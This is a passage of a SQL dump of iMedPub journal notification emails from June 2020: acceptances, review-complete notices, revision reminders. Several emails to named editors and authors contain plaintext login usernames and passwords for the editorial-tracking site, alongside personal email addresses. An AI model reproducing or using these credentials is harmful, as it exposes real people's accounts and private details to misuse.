/>\r\n            <br />\r\n            All reviews for manuscript <b>ipfs-20-3723</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> prof._dr._fatih<br />\r\n            <b>Password:</b> NzMOXR3S<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.fisheriessciences.com/\">Journal of FisheriesSciences.com</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','fcan@mku.edu.tr',3723,'2020-06-12',645),(1472,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipfs-20-3860</b><br />\r\n            <br />\r\n            Article Title: <b>Impacts of Different Exercise Routines on Rainbow Trout Rearing Performance</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.fisheriessciences.com/\" target=\"_blank\">Journal of FisheriesSciences.com</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Voorhees</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of FisheriesSciences.com</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-06-12</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:galleyproof@journalinvoice.com\">galleyproof@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.fisheriessciences.com/\">Journal of FisheriesSciences.com</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','jill.voorhees@state.sd.us',3860,'2020-06-12',645),(1473,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipfs-20-3723</b><br />\r\n            <br />\r\n            Article Title: <b>Short Term Survival and Tag Retention of Gizzard Shad Implanted with Dummy Transmitters</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.fisheriessciences.com/\" target=\"_blank\">Journal of FisheriesSciences.com</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Gravenhof</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of FisheriesSciences.com</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-06-12</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:galleyproof@journalinvoice.com\">galleyproof@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.fisheriessciences.com/\">Journal of FisheriesSciences.com</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','dylan.gravenhof@state.sd.us',3723,'2020-06-12',645),(1474,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipfs-19-2858</b><br />\r\n            <br />\r\n            Article Title: <b>Effects of Chemical and Bio-Synthesized Nano-Fe2O3 on the Growth and Hematological Profile of African Catfish (Clarias Gariepinus) Fingerlings</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Charles Nwajinka</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of FisheriesSciences.com</b><br />\r\n            <br />\r\n            Dear Dr. <b>CAN</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipfs-19-2858</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> prof._dr._fatih<br />\r\n            <b>Password:</b> NzMOXR3S<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.fisheriessciences.com/\">Journal of FisheriesSciences.com</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','fcan@mku.edu.tr',2858,'2020-06-12',645),(1475,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipfs-19-3043</b><br />\r\n            <br />\r\n            Article Title: <b>HISTOLOGICAL EFFECT OF AQUEOUS EXTRACT OF VERNINIA AMYGDALINA ( BITTER LEAF) TO CLARIAS GARIEPINUS JUVENILE.</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Olowolafe Tunde</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of FisheriesSciences.com</b><br />\r\n            <br />\r\n            Dear Dr. <b>CAN</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipfs-19-3043</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> prof._dr._fatih<br />\r\n            <b>Password:</b> NzMOXR3S<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.fisheriessciences.com/\">Journal of FisheriesSciences.com</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','fcan@mku.edu.tr',3043,'2020-06-12',645),(1476,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipfs-20-3433</b><br />\r\n            <br />\r\n            Article Title: <b>HISTOLOGICAL MORPHOLOGY OF GILL, SKIN AND LIVER OF NILE TILAPIA Oreochromis niloticus FINGERLING EXPOSED TO JATROPHA CURCAS (Linnaeus I779) SEED POWDER</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Ibidun Adene</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of FisheriesSciences.com</b><br />\r\n            <br />\r\n            Dear Dr. <b>BUCK</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipfs-20-3433</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> prof._dr._bela_h.<br />\r\n            <b>Password:</b> PTDXyt0Q<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.fisheriessciences.com/\">Journal of FisheriesSciences.com</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','Bela.H.Buck@awi.de',3433,'2020-06-12',645),(1477,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipfs-20-3547</b><br />\r\n            <br />\r\n            Article Title: <b>Endo parasitc faunas of eight fresh water fishes in Edo state, Nigeria</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Linus Anagha</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of FisheriesSciences.com</b><br />\r\n            <br />\r\n            Dear Dr. <b>CAN</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipfs-20-3547</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> prof._dr._fatih<br />\r\n            <b>Password:</b> NzMOXR3S<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.fisheriessciences.com/\">Journal of FisheriesSciences.com</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','fcan@mku.edu.tr',3547,'2020-06-12',645),(1478,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipfs-20-3400</b><br />\r\n            <br />\r\n            Article Title: <b>Diversity, distribution, and relative abundance of fish species in Lake Hayq, Ethiopia</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Assefa Tecklie</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of FisheriesSciences.com</b><br />\r\n            <br />\r\n            Dear Dr. <b>BUCK</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipfs-20-3400</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> prof._dr._bela_h.<br />\r\n            <b>Password:</b> PTDXyt0Q<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.fisheriessciences.com/\">Journal of FisheriesSciences.com</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','Bela.H.Buck@awi.de',3400,'2020-06-12',645),(1479,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipfs-20-3202</b><br />\r\n            <br />\r\n            Article Title: <b>Maruit Lake and the Assessment of heavy metals pollution on the Health and the antioxidant responses of different species of Tilapia and Catfish (Clarias gariepinus).</b><br />\r\n            <br />\r\n            Corresponding Author: <b>soha Hasanein</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of FisheriesSciences.com</b><br />\r\n            <br />\r\n            Dear Dr. <b>BUCK</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipfs-20-3202</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> prof._dr._bela_h.<br />\r\n            <b>Password:</b> PTDXyt0Q<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.fisheriessciences.com/\">Journal of FisheriesSciences.com</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','Bela.H.Buck@awi.de',3202,'2020-06-12',645),(1480,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipfs-20-3202</b><br />\r\n            <br />\r\n            Article Title: <b>Maruit Lake and the Assessment of heavy metals pollution on the Health and the antioxidant responses of different species of Tilapia and Catfish (Clarias gariepinus).</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.fisheriessciences.com/\" target=\"_blank\">Journal of FisheriesSciences.com</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Hasanein</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of FisheriesSciences.com</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-06-12</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:galleyproof@journalinvoice.com\">galleyproof@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.fisheriessciences.com/\">Journal of FisheriesSciences.com</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','soharafat1@yahoo.com',3202,'2020-06-12',645),(1484,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>IPJUS-20-4006</b><br />\r\n            <br />\r\n            Article Title: <b>Operating room and personnel during COVID-19 pandemic in case, when clinic is not yet on front-line</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jusurgery.com/\" target=\"_blank\">Journal of Universal Surgery</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Shoshiashvili</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Universal Surgery</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-06-13</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jusurgery.com/\">Journal of Universal Surgery</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','vshoshia@gmail.com',4006,'2020-06-13',319),(1487,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-4636</b><br />\r\n            <br />\r\n            Article Title: <b>RELATIONSHIP BETWEEN VENTRICULOPERITONEAL SHUNT OBSTRUCTION AND INFECTION IN PEDIATRIC PATIENTS WITH HYDROCEPHALUS</b><br />\r\n            <br />\r\n            Corresponding Author: <b>ali şahin</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Richard </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-20-4636</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> m._fleming<br />\r\n            <b>Password:</b> F3hTrCHA<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','drrichardmfleming@gmail.com',4636,'2020-06-16',85),(1495,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>IPJUS-20-4138</b><br />\r\n            <br />\r\n            Article Title: <b>A Very Rare Cause of Bowel Obstruction in Children: Colocolonic Intussusception</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Universal Surgery</b><br />\r\n            <br />\r\n            Dear Dr. <b>Baykara</b><br />\r\n            <br />\r\n            As iMedPub LTD is concerned about the timelines, we are expecting the revision of <b>IPJUS-20-4138</b> by <b>22-06-2020</b>.<br />\r\n            <br />\r\n            If you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <b><a href=\"https://www.jusurgery.com/\">https://www.jusurgery.com/</a></b> and submit the revision or else you may send as an email attachment to surgery@imedpub.org<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Username : <b>aziz_serhat</b><br />\r\n            Password : <b>4Dt2IKTR</b><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Manging Editor,<br />\r\n            <b><a href=\"https://www.jusurgery.com/\">Journal of Universal Surgery</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Revision First Reminder','asbaykara@hotmail.com',4138,'2020-06-17',319),(1497,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-4610</b><br />\r\n            <br />\r\n            Article Title: <b>Outcome of Traumatic Cervical Spinal Cord Injury in a general ICU: A 5 - year review</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivesofmedicine.com/\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>ADIGUN</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-06-17</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','tonitomi2005@yahoo.co.uk23480',4610,'2020-06-17',85),(1498,'<p>Ref.:  Ms. No. : <b>ipaom-20-4636</b><br />\r\n<br />\r\nARTICLE TITLE: <b>RELATIONSHIP BETWEEN VENTRICULOPERITONEAL SHUNT OBSTRUCTION AND INFECTION IN PEDIATRIC PATIENTS WITH HYDROCEPHALUS</b><br />\r\n<br />\r\nJOURNAL: <b>Archives of Medicine</b><br />\r\n<br />\r\nDear <b>Dr. şahin</b>,<br />\r\n<br />\r\nThe revision of <b>ipaom-20-4636</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>ali</b><br />\r\npassword: <b>knpZoBjP</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></p>',1,'Author Revision Subsequent Reminder','dralishn@gmail.com',4636,'2020-06-18',85),(1499,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-4056</b><br />\r\n            <br />\r\n            Article Title: <b>Case series of COVID-19 patients who recovered without requiring intubation</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Theodoros </b><br />\r\n            <br />\r\n            This is to bring to your notice that the article having  <b>ipaom-20-4056</b> for the <b>Archives of Medicine</b> is ready with its revised version.<br />\r\n            <br />\r\n            I would request you to take the assignment for handling this revised copy and expects a prompt decision from your side.<br />\r\n            <br />\r\n            Please submit your decision within 48 hours of submission failing of which will be considered as accepted for publication.<br />\r\n            <br />\r\n            Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Revision Submitted','thaslan@hotmail.com',4056,'2020-06-19',85),(1500,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-4392</b><br />\r\n            <br />\r\n            Article Title: <b>Understanding the reason of why covid19 has less impact on babies</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Mohammad </b><br />\r\n            <br />\r\n            This is to bring to your notice that the article having  <b>ipaom-20-4392</b> for the <b>Archives of Medicine</b> is ready with its revised version.<br />\r\n            <br />\r\n            I would request you to take the assignment for handling this revised copy and expects a prompt decision from your side.<br />\r\n            <br />\r\n            Please submit your decision within 48 hours of submission failing of which will be considered as accepted for publication.<br />\r\n            <br />\r\n            Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Revision Submitted','mohammadrahmandr@gmail.com',4392,'2020-06-19',85),(1506,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-4056</b><br />\r\n            <br />\r\n            Article Title: <b>Case series of COVID-19 patients who recovered without requiring intubation</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivesofmedicine.com/\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Seo</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-06-20</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 24-48hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','angie.seo@lifespan.org',4056,'2020-06-20',85),(1507,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-4392</b><br />\r\n            <br />\r\n            Article Title: <b>Understanding the reason of why covid19 has less impact on babies</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivesofmedicine.com/\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>MELIANI</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-06-20</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 24-48hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    